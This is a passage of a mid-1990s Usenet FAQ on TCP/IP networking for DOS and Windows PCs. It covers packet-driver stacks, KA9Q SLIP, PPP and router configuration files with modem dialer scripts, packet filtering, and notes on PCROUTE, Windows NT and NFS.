    Eudora | WinTrumpet
    \ | /
    \ | /
    \ | /
    \|/
    TCPMAN
    |
    Windows 3.1
    |
    WINPKT
    |
    Packet Driver
    |
    DOS
    |
    Ethernet Card

    B-16. Strange and wonderful configuration files submitted by readers

    Robert Clift (mailto:clifta@sfu.ca) writes:

    "I have WinQVT/Net 3.4, PC Gopher III (including NCSA DOS Telnet), KA9Q
    (gopher and FTP server), and POPMail all running together under Windows
    over PKTMUX on a 3C503 packet driver (and Ethernet card)."

    Here is the stick diagram (yikes!):

    Win/QVTNet 3.7 KA9Q Gopher PC POPMail 3.2 PC Gopher III 1.01
    on interrupt 65 & FTP Server \ /
    \ | \ /
    \ | \ /
    \ | \ /
    \ PKTDRV PKTDRV
    \ | /
    \ DOS Session DOS Session
    \ | /
    \ | -------------------
    \ | /
    Windows 3.1
    |
    PKINT
    |
    PKTDRV on Int 65 no listeners set
    |
    PKTMUX 1.2 with 3 channels
    |
    Clarkson 3C503 Packet Driver
    |
    DOS
    |
    3Com Etherlink II/16 TP
    |
    Ethernet

    NOTES:

    Win/QVTNet must be loaded as the very first Windows application and must be
    kept operating as long as your are in Windows. It appears that its TCP/IP
    stack does some strange things when it disconnects and kills access to the
    actual packet driver.

    I run PC gopher and POPMail alternatively, so they share one channel which
    is allocated via PKTDRV before running the application and deallocated
    after the application is finished (I usually throw in a reset command to
    PMTMUX as well just to be safe).

    To explain what is happening (as best I can since a lot of this came from
    experimentation):

    1. The packet driver is loaded
    2. PKTMUX is run over the packet driver in order to multiplex it (in this
    case three channels).
    3. A virtual packet driver is loaded for Win/QVTNet on interrupt 65 and
    the packet driver is told that it is not to listen for any server
    requests.
    4. PKINT is loaded over top of the virtual packet driver
    5. Start Windows and run Win/QVTNet as the first application, it must be
    kept running throughout the Windows session.
    6. Load a virtual packet driver from a DOS session and start KA9Q. I use
    the following batch file to do this:

    c:\network\pktdrv 63 /l
    h:
    cd \
    net091b
    c:\network\pktdrv 63 /uu
    c:\network\pktmux /r

    7. Load a virtual packet driver and run PC Gopher or POPMail as needed. I
    use the following batch files for PC Gopher and POPMail respectively:

    c:\network\pktdrv 63
    h:\goph-cli\gopher /T=h:\goph-cli\text /X=h:\goph-cli\binary
    c:\network\pktdrv 63 /uu


    c:\network\pktdrv 66 /c
    h:\popmail\popmail /noems
    c:\network\pktdrv 66 /uu

    8. The only problem seems to be that the NNTP module in Win/QVTNet will
    not operate correctly if POPMail is operating. Otheriwse it seems to
    work okay without too many problems.



    ------------------------------ END OF PART 1 ------------------------

    Please send comments to:

    Bernard Aboba
    Author of:
    The Online User's Encyclopedia, Addison-Wesley, 1994
    The PC-Internet Connection, Publisher's Group West, due in 1995
    mailto:aboba@netcom.com
    FTP archive: ftp://ftp.zilker.net/pub/mailcom/
    WWW page: http://www.zilker.net/users/internaut/index.html

    From: aboba@netcom.com (Bernard Aboba)
    Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 2 of 5
    Expires: Fri, 12 May 1995 00:00:00 GMT
    Followup-To: poster
    Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
    Organization: MailCom
    Reply-To: aboba@netcom.com
    Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
    Approved: news-answers-request@MIT.Edu
    Summary: Frequently Asked Questions (and answers) about TCP/IP on
    PC-Compatible Computers

    Archive-name: ibmpc-tcp-ip-faq/part2

    comp.protocols.tcp-ip.ibmpc:
    FAQ Posting, part 2, 4/1/95


    C. KA9Q Questions

    C-1. What version of KA9Q should I use and where do I get it?

    There are so many releases of KA9Q that it is a significant amount of
    work just to keep track of them all. This has occurred partly because
    KA9Q does not support extended or expanded memory, and therefore many
    people have needed to customize it with the features relevant to them
    in order to allow it to do what they want as well as fit into memory.
    The primary difference among the various releases is whether they
    include code for a BBS, packet radio support (AX.25), synchronous cards (for
    use with leased lines), NNTP, CSO or Gopher servers, packet filtering, DNS,
    BOOTP, RIP or PPP support.

    The three primary KA9Q releases at this time are those managed by Ashok Aiyar
    (ashok@biochemistry.bioc.cwru.edu), those put out by Demon Internet
    Services (DIS), and the JNOS distribution. JNOS is the primary packet radio-
    oriented release; the other two major releases do not include AX.25 support.
    Since JNOS does not include several features important to non-packet radio
    users (DNS/Gopher/CSO server,hop check), try one of the other two releases
    if you're not interested in packet radio.

    Ashok's release is based on the N1BEE 0.85-beta which in turn
    is based on PA9GRI 2.0m NOS. Version 11c includes support for NTP, CSO,
    gopher, FTP, FINGER, HTTP and SMTP/POP2/POP3 servers, plus VT102 and packet
    filtering support. Please not that this release does *not* include radio or
    synchronous card support, unlike the standard KA9Q release, and only supports
    SLIP/CSLIP. Also, there is no DNS server support, and the tip command has been
    removed, so that you need to use an external dialer to make the connection. It
    does however support BOOTP, and comes with a good manual which is fairly current
    (June 1994).

    Available as:

    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.map,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/nos_1229.man,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/vt102.zip,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/filter.txt,
    ftp://biochemistry.bioc.cwru.edu/pub/nos/autoexec.nos

    The TextWin version from Demon Internet Services includes support for
    DNS server, packet filtering, FTP, SMTP/POP2/POP3 servers, NNTP server,
    VT102 support, NTP, BBS, PPP, demand dial, ping, hop check
    (traceroute equivalent). I am using it now on my own LAN, it is great.
    However, SLIP/CSLIP support is no longer compiled in by default;
    you'll have to compile a custom version to get this.

    From mailto:mike@childsoc.demon.co.uk (Michael Bernardi):

    "Demon Internet Services have a dialin Internet service in the UK.
    They also support a customised version of KA9Q optimised for
    dialup, they also support the PCElm mailer, SNEWS news reader and
    a customised front end. There is also a combined NEWS and MAIL
    program called CPPNEWS and an alternative MAIL program called
    VIEW, these last are unsupported by mailto:Internet@demon.co.uk but other
    DIS users do support them. All these programs can be found on
    ftp://ftp.demon.co.uk/pub/ibmpc/ and are written to
    work with KA9Q (specifically the DIS version)."

    Anthony McCarthy has added a multi-windowing system to KA9Q that
    supports the mouse, which has been recommended. See Resource
    listings for info.

    The DIS release includes three versions, small, medium and large.
    The large version includes everything but the kitchen sink, including
    an NNTP server. I also believe it includes the KA9Q BBS code, and
    radio support.

    Editorial: To my mind, the time has come for the major releases to combine
    their code bases and produce a version with the best features of all of them.
    To my mind, the ideal KA9Q release would be a release combining the improved
    server support of the CWRU release with the working PPP implementation, demand
    dial, packet filter and DNS server support of the DIS version.


    C-2. What do I need to run KA9Q? Why won't it do VT-100 emulation?

    KA9Q is usually run from a startup script, such as my script
    startnos.bat:

    \nos\drivers\8003pkdr
    \nos\net -d \nos

    Here I first load the packet drivers for my 8003 Ethernet card, then
    run KA9Q (known as net.exe).

    The KA9Q package then reads commands from a configuration file, called
    AUTOEXEC.NOS in some implementations, AUTOEXEC.NET in others.

    For VT100 emulation with KA9Q, try using Giles Todd's VT102.COM,
    available via ftp://ftp.demon.co.uk/pub/ibmpc/DIS.

    C-3. How do I configure KA9Q as a SLIP dialup connection?

    Here is a sample CSLIP only configuration file which will run
    on the DIS version with CSLIP/SLIP compiled in:

    # This config file is for use with the large TextWin
    # version of KA9Q available from ftp.demon.co.uk
    #
    # Set the host name
    #
    hostname foobar.com
    #
    # Configure COM3 on Interrupt 5, at 38400 bps with
    # RTS/CTS (c) and Van Jacobsen Compression (v) and
    # MTU = 1008
    #
    attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv
    ifconfig sl0 ipaddress [192.187.134.3]
    ifconfig sl0 netmask 255.255.255.0
    dialer sl0 dialer.sl0
    #
    #
    # route all packets over sl0 by default (sl0 is the route
    # to the Internet)
    #
    route add default sl0
    #
    # Time To Live is the maximum number of hops a packet
    # can take before it is thrown away. This command
    # prevents packets from looping infinitely.
    #
    ip ttl 255
    #
    # The Maximum Segment Size is the largest single
    # transmission that you care to receive. An mss of 216
    # will force folks to send you packets of 256 characters
    # or less (counting the overhead).
    #
    tcp mss 1048
    #
    # The Window parameter establishes the maximum number
    # of bytes that may be outstanding before your system
    # expects an ack. If window is twice as big as mss,
    # for example, there will be two active packets on the
    # channel at any given time. Large values of window
    # provide improved throughput on full-duplex links, but
    # are a problem on the air.
    # Keep mss &lt;= window &lt;= 2*mss if you're on the air.
    #
    tcp window 6888
    #
    # This entry will open net.log in the \spool directory
    # and will record the server activity of your system. If
    # you don't want a log, comment out this line; if you do,
    # make sure you have a \spool directory!
    #
    log \textwin\spool\net.log
    #
    # Each of the servers (services you will provide) must
    # be turned on before they will be active. The
    # following entries turn all of them on. To turn any
    # function off use the command 'stop' after NET gets
    # fired up, or just comment out the line here.
    #
    start ftp
    ftpopt binary
    start echo
    start discard
    # start telnet
    start smtp
    # This machine uses primary and seconary DNS servers
    # to resolve addresses
    domain addserver 192.100.81.101
    domain addserver 192.100.81.105
    # Command indicating presence of IBM AT
    isat on
    #
    smtp gateway 140.174.7.1
    #
    #
    # THE END

    dialer.sl0 file:

    # Configuration section.
    #
    configure:
    init "ATZ\r"
    dial_cmd "ATDT"
    ld_code ""
    number "15108658169"
    retries 5
    #
    # Execution section.
    #
    execute:
    #
    # Toggle DTR.
    #
    control down
    wait 2000
    control up
    wait 2000
    #
    # Initialize the modem.
    #
    init
    wait 3000 "OK"
    #
    # Dial and wait for connection.
    #
    dial
    wait 45000 "CONNECT"
    #
    # Now log in.
    #
    wait 60000 "ogin:"
    wait 1000
    send "userID\r"
    wait 60000 "word:"
    send "password\r"


    After executing this setup file, you should hear the modem dial out
    to your SLIP host. Assuming that the dialing script is correct,
    it should login and go into SLIP mode.

    Type RESET at the prompt. This kills any residual processes that
    may be operating.

    At this point you should have a functioning connection. You might
    try to ping your host via the command:
    PING &lt;host adddress&gt;
    If this works, you will then see the round trip time to your host,
    in milliseconds.

    Other possible diagnostic commands:

    ASYSTAT &lt;interface&gt; Gives statistics on packets received, sent, etc.
    Very useful, particularly if you need to know if
    you should install a 16550 on your serial port.
    TRACE &lt;interface&gt; 1011 Shows incoming characters
    RIP TRACE 1 Traces RIP packets
    HOP CHECK &lt;address&gt; Traces the route to the designated system. Useful
    for figuring out routing problems.


    C-4. How do I configure KA9Q as a router?

    I know have KA9Q up and running as a dial-on-demand router, using
    an old 386 with only 1 Mb RAM. Boy, is this great! The TextWin version
    supports packet filtering, DNS server, FTP server, dial-on-demand, and PPP.
    These capabilities put Textwin KA9Q head and shoulders above PCROUTE,
    in my humble opinion. About the only reason to use PCROUTE is if you
    have an old 286 with just a floppy drive, but even then I'd urge
    you to go out and get a 386/16 for $300, just so you could implement
    packet filtering and be more secure.

    The KA9Q configuration that follows uses two interfaces, one a PPP
    interface (pp0), the other an Ethernet interface (lan). Here I
    am implementing dial on demand, and can also be doing packet
    filtering, and DNS serving on the same box.

    Please note the strange interrupt settings (Interrupt 5, port is COM3). One of
    the nice things about KA9Q is that it is flexible enough to deal with
    such situations.

    Here is a sample router configuration file for demand dial PPP:

    # This config file is for use with the large TextWin
    # version of KA9Q available from ftp.demon.co.uk
    #
    # Set the host name
    #
    hostname gate.foobar.com
    #
    # Configure COM3 on Interrupt 5, at 38400 bps with
    # RTS/CTS (c) and PPP
    #
    attach asy 0x3e8 5 ppp pp0 8092 576 38400 c
    ifconfig pp0 ipaddress [192.187.147.2]
    ifconfig pp0 netmask 255.255.255.0
    dialer pp0 dialer.ppp demand
    #
    ppp pp0 trace 2
    ppp pp0 quick
    ppp pp0 lcp open
    ppp pp0 ipcp open
    #
    # Packet driver installed at software interrupt
    # number 0x60.
    #
    attach packet 0x60 lan 2 1500
    ifconfig lan ipaddress [192.187.157.4]
    ifconfig lan netmask 255.255.255.0
    #
    route add default pp0
    #
    # The local Ethernet has a Class C network address so
    # route all IP addresses beginning with 192.187.157 to
    # it.
    route add 192.187.157/24 lan
    #
    # if you had the default route instead going through
    # 192.187.157.4, you'd put in this statement:
    # route add default lan 192.187.157.4
    # and take out the route add default pp0 statement
    #
    # Time To Live is the maximum number of hops a packet
    # can take before it is thrown away. This command
    # prevents packets from looping infinitely.
    #
    ip ttl 255
    #
    # The Maximum Segment Size is the largest single
    # transmission that you care to receive. An mss of 216
    # will force folks to send you packets of 256 characters
    # or less (counting the overhead).
    #
    tcp mss 576
    #
    # The Window parameter establishes the maximum number
    # of bytes that may be outstanding before your system
    # expects an ack. If window is twice as big as mss,
    # for example, there will be two active packets on the
    # channel at any given time. Large values of window
    # provide improved throughput on full-duplex links, but
    # are a problem on the air.
    # Keep mss &lt;= window &lt;= 2*mss if you're on the air.
    #
    tcp window 6888
    #
    # This entry will open net.log in the \spool directory
    # and will record the server activity of your system. If
    # you don't want a log, comment out this line; if you do,
    # make sure you have a \spool directory!
    #
    log \textwin\spool\net.log
    #
    # Each of the servers (services you will provide) must
    # be turned on before they will be active. The
    # following entries turn all of them on. To turn any
    # function off use the command 'stop' after NET gets
    # fired up, or just comment out the line here.
    #
    start ftp
    ftpopt binary
    start echo
    start discard
    start telnet
    start smtp
    # This machine will act as a DNS server;
    # Boot file is c:\textwin\named.boo, configuration
    # goes in c:\textwin\spool\zones
    domain startdns
    # Command indicating presence of IBM AT
    isat on
    #
    #mbox secure on
    mbox maxmsg 200
    mbox expert off
    #
    smtp gateway 192.187.157.2
    smtp maxclients 5
    smtp mode route
    smtp quiet yes
    smtp timer 600
    smtp t4 120
    #
    # Use Router Information Protocol (RIP) to inform
    # the router at 192.187.147.253 about the existence
    # of the local network. Send RIP packets every 240
    # seconds. Only useful for dedicated routers.
    rip add 192.187.147.253 240
    #
    # Install the packet filter for security purposes
    #
    ip filter pp0 permit in tcpxsyn !192.187.157.0/24 192.187.157.0/24
    ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24
    ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:53
    ip filter pp0 permit in udp !192.187.157.0/24:53 192.187.157.0/24:1024+
    ip filter pp0 permit in udp !192.187.157.0/24:123 192.187.157.0/24:123
    ip filter pp0 permit in tcpsyn !192.187.157.0/24:20 192.187.157.0/24:1024+
    ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:25
    ip filter pp0 permit in tcpsyn !192.187.157.0/24 foobar.com:79
    ip filter pp0 deny in * * *
    ip filter pp0 permit out * 192.187.157.0/24 !192.187.157.0/24
    #
    # THE END

    dialer.ppp file:

    # Configuration section.
    #
    configure:
    init "ATZ\r"
    dial_cmd "ATDT"
    ld_code ""
    number "15108658169"
    retries 5
    #
    # Execution section.
    #
    execute:
    #
    # Toggle DTR.
    #
    control down
    wait 2000
    control up
    wait 2000
    #
    # Initialize the modem.
    #
    init
    wait 3000 "OK"
    #
    # Dial and wait for connection.
    #
    dial
    wait 45000 "CONNECT"
    #
    # Now log in.
    #
    wait 60000 "ogin:"
    wait 1000
    send "userID\r"
    wait 60000 "word:"
    send "password\r"

    named.boo file:

    primary foobar.com foobar.com
    primary 157.187.192.in-addr.arpa 157.rev

    c:\textwin\spool\zones files:
    foobar.com
    157.rev

    You might try to use an on-demand dial router as a secondary DNS
    server, like this:

    named.boo file:

    secondary foobar.com 192.187.157.7 foobar.com
    secondary 157.187.192.in-addr.arpa 192.187.157.7 157.rev

    However, this will not work, because the DNS timeout is shorter
    than the average time to get KA9Q connected. As a result, KA9Q will
    try to download the zone files before the link is fully up, and will
    fail. However, you can act as a secondary on an ethernet network
    just fine.

    Here is another routing configuration file, using CSLIP and proxy arp:

    # This config file is for use with the large TextWin
    # version of KA9Q available from ftp.demon.co.uk
    #
    # Set the host name
    #
    hostname gate.foobar.com
    #
    # Configure COM3 on Interrupt 5, at 38400 bps with
    # RTS/CTS (c) and Van Jacobsen Compression (v) and
    # MTU = 1008
    #
    attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv
    ifconfig sl0 ipaddress [157.151.0.253]
    ifconfig sl0 netmask 255.255.255.0
    dialer sl0 dialer.sl0
    #
    #
    #
    # Packet driver at 0x60; probably an Ethernet card
    #
    attach packet 0x60 lan 2 1500
    ifconfig lan ipaddress [157.151.64.1]
    ifconfig lan netmask 255.255.255.0
    #
    # route all packets over sl0 by default (sl0 is the route
    # to the Internet)
    #
    route add default sl0
    #
    # The local Ethernet has a Class C network address so
    # route all IP addresses beginning with 157.151.64 to it.
    route add 157.151.64/24 lan
    #
    # Use Proxy ARP
    # Respond to arps for 157.151.64.1 and .254
    arp publish 157.151.64.1 ether 00:00:c0:33:f3:13
    arp publish 157.151.64.254 ether 00:00:c0:33:f3:13
    #
    # Time To Live is the maximum number of hops a packet
    # can take before it is thrown away. This command
    # prevents packets from looping infinitely.
    #
    ip ttl 255
    #
    # The Maximum Segment Size is the largest single
    # transmission that you care to receive. An mss of 216
    # will force folks to send you packets of 256 characters
    # or less (counting the overhead).
    #
    tcp mss 576
    #
    # The Window parameter establishes the maximum number
    # of bytes that may be outstanding before your system
    # expects an ack. If window is twice as big as mss,
    # for example, there will be two active packets on the
    # channel at any given time. Large values of window
    # provide improved throughput on full-duplex links, but
    # are a problem on the air.
    # Keep mss &lt;= window &lt;= 2*mss if you're on the air.
    #
    tcp window 6888
    #
    # This entry will open net.log in the \spool directory
    # and will record the server activity of your system. If
    # you don't want a log, comment out this line; if you do,
    # make sure you have a \spool directory!
    #
    log \textwin\spool\net.log
    #
    # Each of the servers (services you will provide) must
    # be turned on before they will be active. The
    # following entries turn all of them on. To turn any
    # function off use the command 'stop' after NET gets
    # fired up, or just comment out the line here.
    #
    start ftp
    ftpopt binary
    start echo
    start discard
    # start telnet
    start smtp
    # This machine uses primary and seconary DNS servers
    # to resolve addresses
    #
    domain addserver 157.151.0.2
    domain addserver 157.151.0.1
    smtp gateway 157.151.0.2
    #
    # Command indicating presence of IBM AT
    isat on
    #
    #
    #
    # THE END

    dialer.sl0 file:

    # Configuration section.
    #
    configure:
    init "ATZ\r"
    dial_cmd "ATDT"
    ld_code ""
    number "15108658169"
    retries 5
    #
    # Execution section.
    #
    execute:
    #
    # Toggle DTR.
    #
    control down
    wait 2000
    control up
    wait 2000
    #
    # Initialize the modem.
    #
    init
    wait 3000 "OK"
    #
    # Dial and wait for connection.
    #
    dial
    wait 45000 "CONNECT"
    #
    # Now log in.
    #
    wait 60000 "ogin:"
    wait 1000
    send "userID\r"
    wait 60000 "word:"
    send "password\r"

    C-5 How do I get KA9Q to support BOOTP?

    The CWRU NOS version has a working BOOTP client and server built-in,
    and is the best version if you are looking for BOOTP support.
    [Does Textwin offer full BOOTP support?]
    If you are using another version of KA9Q that does not support BOOTP,
    try the following:

    Steven L. Johnson (mailto:johnson@TIGGER.JVNC.NET) notes:

    KA9Q does have a bootp client but it is not compiled in by default.
    It has a bug that truncates the returned ip address to 16 bits
    which must be corrected before it will work. It also complains
    about bootp servers that only support RFC 951 bootp without RFC
    1084 (or 1048) vendor extensions. Other than that it seems to work
    for me.

    To enable the bootp client, add the following line to config.h:

    #define BOOTP 1

    To correct the ip address truncation problem, in bootp.c change:

    Ip_addr = (int) reply.yiaddr.s_addr; /* yiaddr */
    ^^^^^problem
    at line 188 to:

    Ip_addr = (int32) reply.yiaddr.s_addr; /* yiaddr */
    ^^^^^^^solution

    And of course, recompile.

    This worked on the src1229 (1991) version and may work on the
    most recent version. I did check to make sure that the bug still
    exists, but I haven't rechecked whether there are additional
    problems in the new version.



    C-6. How do I get KA9Q to support PPP?

    Here is a sample ppp configuration file:

    # Set the host name
    #
    hostname aboba.slip.netcom.com
    ip address [192.187.134.3]
    #
    #
    #
    # Configure COM3 on Interrupt 5, at 38400 bps with
    # MTU = 1008
    #
    attach asy 0x3e8 5 ppp pp0 8092 1008 38400 c
    dialer pp0 dialer.ppp
    ifconfig pp0 netmask 255.255.255.252
    ppp pp0 trace 2
    ppp pp0 quick
    ppp pp0 lcp open
    ppp pp0 ipcp open
    #
    #
    #
    route add default pp0
    # route all packets over pp0 by default (pp0 is the route to
    # the Internet)
    #
    # Time To Live is the maximum number of hops a packet can take
    # before it is thrown away. This command prevents an inadvertent
    # infinite loop from occuring with packets in the network.
    #
    ip ttl 255
    #
    #-------------------------------------------------
    #
    # The Maximum Segment Size is the largest single transmission that
    # you care to receive. An mss of 216 will force folks to send you
    # packets of 256 characters or less (counting the overhead).
    #
    tcp mss 576
    #
    #-------------------------------------------------
    #
    # The Window parameter establishes the maximum number of bytes that
    # may be outstanding before your system expects an ack. If window is
    # twice as big as mss, for example, there will be two active packets
    # on the channel at any given time. Large values of window provide
    # improved throughput on full-duplex links, but are a problem on the
    # air. Keep mss &lt;= window &lt;= 2*mss if you're on the air.
    #
    #
    tcp window 6888
    #
    #-------------------------------------------------
    #
    # This entry will open net.log in the \spool directory and will
    # record the server activity of your system. If you don't want a log,
    # comment out this line; if you do, make sure you have a \spool
    # directory!
    #
    log \spool\net.log
    #
    #-------------------------------------------------
    #
    # Each of the servers (services you will provide) must be turned
    # on before they will be active. The following entries turn all
    # of them on. To turn any function off use the command "stop" after
    # NET gets fired up, or just comment out the line here.
    #
    start ftp
    start echo
    start discard
    #start telnet
    start smtp
    #
    isat on
    #
    domain addserver 192.100.81.101
    domain addserver 192.100.81.105
    smtp gateway 140.174.7.1
    #
    #
    # Display Name and IP Address
    #
    hostname
    ip address
    #
    # THE END

    dialer.ppp file:

    # Configuration section.
    #
    configure:
    init "ATZ\r"
    dial_cmd "ATDT"
    ld_code ""
    number "15108658169"
    retries 5
    #
    # Execution section.
    #
    execute:
    #
    # Toggle DTR.
    #
    control down
    wait 2000
    control up
    wait 2000
    #
    # Initialize the modem.
    #
    init
    wait 3000 "OK"
    #
    # Dial and wait for connection.
    #
    dial
    wait 45000 "CONNECT"
    #
    # Now log in.
    #
    wait 60000 "ogin:"
    wait 1000
    send "userID\r"
    wait 60000 "word:"
    send "password\r"

    C-7. How do I get KA9Q to support SLIP dialin?

    If you are willing to settle for little or no security, there is not
    much you have to change to allow a KA9Q system to receive calls, as
    opposed to originating them. These should include:

    1. Setting the system to autoanswer, via use of the ATS0=1 command to
    the modem.

    2. Setting up a trace on the router end, to figure out if it's working,
    via the command:
    TRACE &lt;interface&gt; 1011, where &lt;interface&gt; = sl0 for SLIP, or another
    value such as LAN or ether0 for the Ethernet interface. It's probably
    a good idea to put a trace on all interfaces until the system is
    shaken down.

    Note that without addition of a special dialing script, this setup
    is completely insecure!

    For more details, see the FAQ posting enclosed below:

    DOS Slip Server HOW-TO using ka9q
    May 11, 1994
    Bob Sanford
    mailto:sanford@aurora.bld189.jccbi.gov
    mailto:bob_sanford@mmacmail.jccbi.gov

    This paper will attempt to help an individual interested in turning a
    DOS machine with ethernet and internet IP address into a dial-in slip
    server. This paper is based on my experiences tying to configure my
    machine for just this purpose. Although I am not an expert by any
    stretch of the imagination, I have learned a little from this
    experience.

    My configuration is a AST 486/66 Premmia running with 8 meg ram, 3C509
    Etherlink III network card, U.S. Robotics 14.4k modem on the server
    side. Gateway 486/33 with 4 meg ram, Zoom internal 14.4k modem on the client
    side.

    Server side

    1. First acquire two IP addresses (or one if you already have one).
    The addresses must be in the same domain i.e. 123.123.123.xxx and
    123.123.123.xxy. These numbers will be assigned by you system admin.
    Be sure that you set up names if your site has a name server. Once
    again your sysadm can help here.

    2. Get the needed software. I will place the needed software on my
    machine for anonymous FTP under slip_server. The address is
    ftp://aurora.bld189.jccbi.gov/ (162.58.16.196). Some of this software is
    shareware, so be sure to read the agreements. Here is a list of the
    needed files from aurora:

    Required nos11b.exe
    nos11b.map
    autoexec.nos
    autoexec.bat
    sliplog.zip
    slippr13.zip
    winsock.zip (you probably have this)
    sliphow.txt (this document)

    optional config.sys

    You will also need a packet driver for your network card. The one you
    use with winsock should be o.k.

    3. Create a dir named nos and place all the files there. Then under
    the directory nos, create another dir called slip. Place the
    sliplog.zip and slipper.zip files in there and unzip them.

    4. Edit the comlog.xxx files as outlined below:
    comlog.msg - place your clients Ip address there.
    comlog.pwd - The order has meaning. 1st name listed is sysop, he
    has special powers! Read manual for more info. The second is guest.
    The third is where I put my mine. The first entry on one line is your
    password and will be what you type at the Login prompt when signing in.
    The number indicates amount of minutes available each day. I set mine
    to 1440 ;)
    comlog.log - This is just a log file that shows who and when
    access was made to your system.

    4. Edit the autoexec.nos file inserting your Ip address and ethernet
    address where noted. Save this file and place it in your ROOT (i.e.
    c:\) dir. Be sure that you make all changes outlined in the beginning!

    5. Create a boot disk in your favorite dos format and place the new
    autoexec.bat on this disk. Be sure that everything points to the proper
    place. The config.sys is nothing different. I'll include mine just for
    your info.

    6. Boot using your slip boot disk. If all goes well you will be
    presented with:

    Keyboard locked
    enter password:

    If you get this, and the auto-answer light on the modem is lit, all went
    well, on the server end.

    Go ahead and enter the password and play around with nos. Try to telnet
    etc, to make sure it is configured properly. Once your happy, type lock
    to lock the keyboard.

    If you fail to get this message, double check all your paths and where
    they point to. I also had problems with my vectors, make sure that they
    are consistent through out the set up. If you still have problems,
    contact me and we'll work together and try to solve it.


    C-8. Can I use KA9Q as a packet filter?

    Yes! Both the TextWin Large and CWRU NOS versions support this. You can
    filter by incoming or outgoing, TCP or UDP port number, IP address, SYN
    bit on, etc. For information, see the file filter.txt included with both
    distributions.

    C-9. Can I use KA9Q as a BOOTP server?

    [Anyone know the answer to this?]

    C-10. Where can I get a manual for KA9Q?

    A detailed manual for KA9Q can be downloaded using this bookmark:

    host: cases.pubaf.washington.edu
    port: 70
    type: 1
    path: 1c:/manual
    URL: gopher://cases.pubaf.washington.edu/11c:/manual

    C-11. Is there any way to stop KA9Q from listening to ICMP redirect
    packets? RIP packets?

    Yes! Assuming you get the Textwin large version, you can use the IP Filter
    capability as follows:

    ip filter pp0 permit in icmpxrd !192.187.157.0/24 192.187.157.0/24

    The ICMPXRD refers to all ICMP packets other than redirects; as a result,
    this command will allow all ICMP packets in the pp0 interface which
    have a source address outside the 192.187.157.0 network, and which are
    destined for the 192.187.157.0 network.

    Using similar logic, you can kill RIP packets from non-trusted source
    addresses.

    C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to
    turn off this (rather undesirable) behavior?

    It looks to me like KA9Q will route sourcF-routed packets, and it appears
    that there is no way to turn this off, other than modifying the source code.
    The IP FILTER capability included in the TextWin large implementation, available
    at ftp://ftp.demon.co.uk doesn't offer anything to ameliorate this.

    [Confirmation, anyone?]

    C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router
    and it isn't working. What's wrong?

    I use Textwin for PPP routing (see the config files) and it works
    great. The problem is that SLIP support is no longer compiled in by
    default. So you have to get the source code, change this, and recompile.

    D. PCROUTE Questions

    D-1. How do I get PCROUTE set up?

    Some hints:

    1. Use PCROUTE version 2.4 (see Resource Section for location)
    2. Put the packet driver on Interrupt 0x60; it won't look for it in
    another location.
    3. PCROUTE cannot handle variable length subnet masks.
    4. Use KA9Q instead; PCROUTE does not give error messages if it hangs,
    and does not support packet filtering.

    However, beyond all this I question why anyone should prefer PCROUTE to
    KA9Q, particularly considering the DIS version's IP filtering capability
    and PPP support. In my opinion, the DIS KA9Q is superior to PCROUTE
    [any of you out there who disagree, please pipe up!]

    Similarly, PCBRIDGE has been superceded by KARLBRIDGE.

    D-2. I want to use WFW TCP/IP-32 to contact a host over a serial link,
    but have no SLIP or PPP driver. Also, my provider has me setup for only
    one machine. What do I do?

    One somewhat convoluted approach is to use KA9Q or PCROUTE as a router,
    turning off RIP, and using CSLIP. Wait: you said your provider couldn't
    support that, right? Well, since CSLIP does not do address
    negotiation, your provider will not know what is on the other end.
    What they will know how to do is to route packets to that CSLIP interface
    based on your IP address. So as long as your TCP/IP-32 machine has the
    IP address assigned to it, uses the router as its default route,
    and the router has the CSLIP interface as its default route, you'll
    be ok. The host on the other side will not know that there is an
    intervening machine, since the packets will bear the source address of the
    TCP/IP-32 machine, and will be sent along with SLIP framing as required.

    D-3. How do I get PCBRIDGE to use a SLIP or PPP driver?

    To get this to work, use an Ethernet simulation driver, such as EtherSLIP,
    SLIPPER, CSLIPPER, or EtherPPP. For the curious, this works by having the
    driver snarfing ARP packets without passing them through, and stripping off
    the Ethernet header before adding SLIP framing to the IP packet and passing
    it on. You can invoke CSLIPPER in Ethernet simulation mode as follows:


    D-4. Can I get PCROUTE to switch off RIP?

    Yes. This is a PCROUTE configuration option.

    E. Windows NT

    E-1. Does Windows NT support OSPF or RIP? What can I do to get around this?

    No, it doesn't. However, it does support ICMP redirects, so you can use this to
    establish your routing table.

    E-2. Why shouldn't I try to install Trumpet Winsock on NT?

    Because NT already has a built-in TCP/IP stack that is faster and more capable. If
    you need to do dialout, use RAS.

    E-3. Where can I find out more about SMB? What ports does it use?

    The group comp.protocols.smb discusses the Server Message Block (SMB)
    protocol.

    F. Hints for particular packages

    F-1. How do I get DesQView X to run over the network?

    V1.0 of DesQView X did not include a TCP/IP protocol stack.
    Surprise! It required a TCP/IP implementation such as Beame & Whiteside,
    PC-NFS, FTP's PC/TCP, or Novell LWP. They've corrected the situation
    in subsequent revisions. Contact QuarterDeck for assistance.

    [pricing and availability, anyone?]

    F-2. Why is NFS so slow compared with FTP?

    NFS usually runs over RPC via UDP, rather than utilizing TCP. NFS only
    acknowledges a write request when the disk completes; there
    are no sliding windows as in TCP. This makes NFS fairly inefficient.

    Frances K. Selkirk (mailto:fks@vaxeline.ftp.com ) notes:

    "There are NFS implementations that use TCP. They are only
    faster over WANs. UDP is faster over most normally functioning LANs.
    The lockstep paradigm is inherent to NFS, but some implementations
    provide the ability to violate it - a speed win when the net is
